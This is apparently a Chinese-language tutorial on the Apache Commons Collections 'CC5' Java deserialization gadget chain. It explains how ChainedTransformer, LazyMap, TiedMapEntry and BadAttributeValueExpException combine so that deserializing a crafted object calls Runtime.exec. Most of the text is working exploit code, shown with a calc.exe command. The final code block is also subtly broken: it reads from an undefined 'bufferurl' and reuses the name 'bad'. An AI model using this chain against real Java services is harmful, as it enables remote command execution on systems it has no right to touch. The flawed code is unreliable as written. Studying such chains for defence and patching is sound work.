返序列化用到的类分析
ChainedTransformer
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
这个类实现了Transformer
链式调用,我们只需要传入一个Transformer
数组ChainedTransformer
就可以实现依次的去调用每一个Transformer
的transform
方法。最终实现了Runtime.class.getMethod("getRuntime").invoke(null)).exec(cmd)
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class chain {
public static void main(String[] args) {
// 定义需要执行的本地系统命令
String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 执行对象转换操作
transformedChain.transform(null);
}
}
接下来对ChainedTransformer数组中的每个Transformer进行分析,上面说到,链式调用是依次的去调用每一个Transformer
的transform
方法,那么他们的每个Transformer的transform方法是什么样的。
ConstantTransformer
它的transform是直接返回你传入的对象实例,如上面的Runtime.class
InvokerTransformer
它的transform方法是反射获取Class类实例,这个input就是ConstantTransformer调用Transformer返回的Runtime.class,再去反射获取类的方法。返回的是类的方法,如上面的getRuntime方法,再返回ChainedTransformer这个类看一下
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
上面的input.getClass的input就是这个循环里面的传入的object,然后接着调用InvokerTransformer的Transformer方法获取了invoke,最后还是InvokerTransformer,调用了exec执行命令。
所以哪个憨批去调用了一个可控对象(如上面的transformedChain)的transform方法,就完成了命令执行,接着往上找
在CC5中,存在一个类LazyMap,会将我们传入的对象通过 transform 方法转换
这个factory实例只要传入我们的transformedChain就可以完成命令执行
现在我们的目标变成了找到一个类的的readObject会调用反序列化对象的get方法了。但是仍然没有,所以继续往下找哪个类的哪个函数会调用传入参数的get方法。
TiedMapEntry类的toString方法,调用 map 的 getKey 与 getValue 方法
我们只需要让 TideMapEntry 对象中的 map 为我们上一步创建的 lazymap 即可。
现在继续寻找哪个类readObject 方法中会自动调用对象的 toString 方 法。
在 BadAttributeValueExpException 的 readObject 方法中会自动调用对象的 toString 方 法。(javax.management.BadAttributeValueExpException)
所以现在的思路是:
BadAttributeValueExpException 对象->设置val 字段值为
TiedMapEntry 对象->设置map为LazyMap对象
LazyMap 对象 -> 设置factory 为 ChainedTransformer对象
ChainedTransformer对象 -> 命令执行链
String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map m = new HashMap();
//创建LazyMap对象
Map lazymap = LazyMap.decorate(m,transformedChain);
//创建TiedMapEntry对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,1);
//创建BadAttributeValueExpException对象
BadAttributeValueExpException bad = new BadAttributeValueExpException(1);
Class badc = Class.forName("javax.management.BadAttributeValueExpException");
Field val = badc.getDeclaredField("val");
val.setAccessible(true);
val.set(bad,tiedMapEntry);
//LazyMap lazyMap = new LazyMap(m,transformedChain);
//反序列化demo
ByteArrayOutputStream bufferbad = new ByteArrayOutputStream();
ObjectOutputStream ob = new ObjectOutputStream(bufferbad);
ob.writeObject(bad);
ob.close();
ByteArrayInputStream b = new ByteArrayInputStream(bufferurl.toByteArray());
ObjectInputStream bad = new ObjectInputStream(b);
bad.readObject();